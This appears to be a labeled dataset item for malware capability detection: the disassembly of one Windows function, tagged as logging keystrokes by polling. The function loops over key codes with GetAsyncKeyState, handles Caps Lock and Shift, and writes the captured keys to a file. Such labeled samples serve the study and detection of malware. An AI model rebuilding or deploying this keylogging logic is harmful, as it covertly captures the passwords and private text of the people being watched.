Function at 0x1400019b6
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov qword [rbp + 0xf8], rdx
call dbg.__main
mov byte [rbp - 0x31], 0
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
setne al
mov byte [rbp + 0xcb], al
movzx edx, byte [rbp + 0xcb]
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x10]
mov r8, rdx
lea rdx, str.CAPSLOCK:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x10]
mov r8d, 0xa
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.WriteToFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400a6220
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.1400a6220
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.1400a6220
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.GetState_bool_
movzx eax, al
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
je 0x140001a94
mov ebx, dword [rbp + 0xc4]
jmp 0x140001dd2
mov dword [rbp + 0xcc], 8
jmp 0x140001dbd
lea rax, [rbp + 0x3f]
mov rcx, rax
call fcn.14006d5a0
lea rdx, [rbp + 0x3f]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x1400c308c]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, dword [rbp + 0xcc]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x140001da0
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.GetState_bool_
movzx eax, al
mov dword [rbp + 0xc0], eax
cmp dword [rbp + 0xc0], 0
je 0x140001b23
mov ebx, dword [rbp + 0xc0]
mov esi, 0
jmp 0x140001da5
mov eax, dword [rbp + 0xcc]
mov dword [rbp - 0x38], eax
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jne 0x140001b65
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jne 0x140001b65
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
je 0x140001b6c
mov eax, 1
jmp 0x140001b71
mov eax, 0
mov byte [rbp - 0x39], al
mov eax, dword [rbp - 0x38]
mov ecx, eax
call sym.IsLiteral_int_
test al, al
je 0x140001bf7
movzx eax, byte [rbp - 0x39]
xor eax, 1
test al, al
je 0x140001b96
mov eax, dword [rbp - 0x38]
add eax, 0x20
mov dword [rbp - 0x38], eax
lea rax, [rbp - 0x31]
mov rdx, rax
lea rax, [0x1400f3040]
mov rcx, rax
call sym.std::map_bool__std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___________std::less_bool___std::allocator_std::pair_bool_const__std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______________::operator___bool_const_
mov rcx, rax
lea rax, [rbp - 0x38]
mov rdx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int_
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a6380
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.1400a5530
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.WriteToFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.1400a6220
jmp 0x140001da0
mov eax, dword [rbp - 0x38]
mov ecx, eax
call sym.IsExtraLiteralKey_int_
test al, al
je 0x140001c75
lea rax, [rbp - 0x31]
mov rdx, rax
lea rax, [0x1400f3080]
mov rcx, rax
call fcn.14009cb40
mov rcx, rax
lea rax, [rbp - 0x39]
mov rdx, rax
call sym.std::map_bool__std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___________std::less_bool___std::allocator_std::pair_bool_const__std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______________::operator___bool_const_
mov rcx, rax
lea rax, [rbp - 0x38]
mov rdx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int_
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a6380
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400a5530
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.WriteToFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.1400a6220
jmp 0x140001da0
mov eax, dword [rbp - 0x38]
mov ecx, eax
call sym.IsNum_int_
test al, al
je 0x140001cfc
lea rax, [rbp - 0x31]
mov rdx, rax
lea rax, [0x1400f30c0]
mov rcx, rax
call fcn.14009cb40
mov rcx, rax
lea rax, [rbp - 0x39]
mov rdx, rax
call sym.std::map_bool__std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___________std::less_bool___std::allocator_std::pair_bool_const__std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______________::operator___bool_const_
mov rcx, rax
lea rax, [rbp - 0x38]
mov rdx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int_
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a6380
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400a5530
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.WriteToFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400a6220
jmp 0x140001da0
mov eax, dword [rbp - 0x38]
mov ecx, eax
call sym.IsExtraKey_int_
test al, al
je 0x140001d62
lea rax, [rbp - 0x38]
mov rdx, rax
lea rax, [0x1400f3100]
mov rcx, rax
call method.std::map_int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::less_int___std::allocator_std::pair_int_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________.operator___int_
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a6380
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a5530
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.WriteToFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a6220
jmp 0x140001da0
mov eax, dword [rbp - 0x38]
mov edx, eax
mov rax, qword [0x1400c90e0]
mov rcx, rax
call method.std::ostream.operator___int_
mov edx, 0x20
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
mov rcx, rax
mov eax, dword [rbp - 0x38]
movsx eax, al
mov edx, eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
mov edx, 0xa
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
mov esi, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a6220
cmp esi, 1
jne 0x140001dd2
add dword [rbp + 0xcc], 1
cmp dword [rbp + 0xcc], 0xff
jle 0x140001aa3
jmp 0x140001a94
mov eax, ebx
jmp 0x140001e93
add rsp, 0x150
pop rbx
pop rsi
pop rbp
ret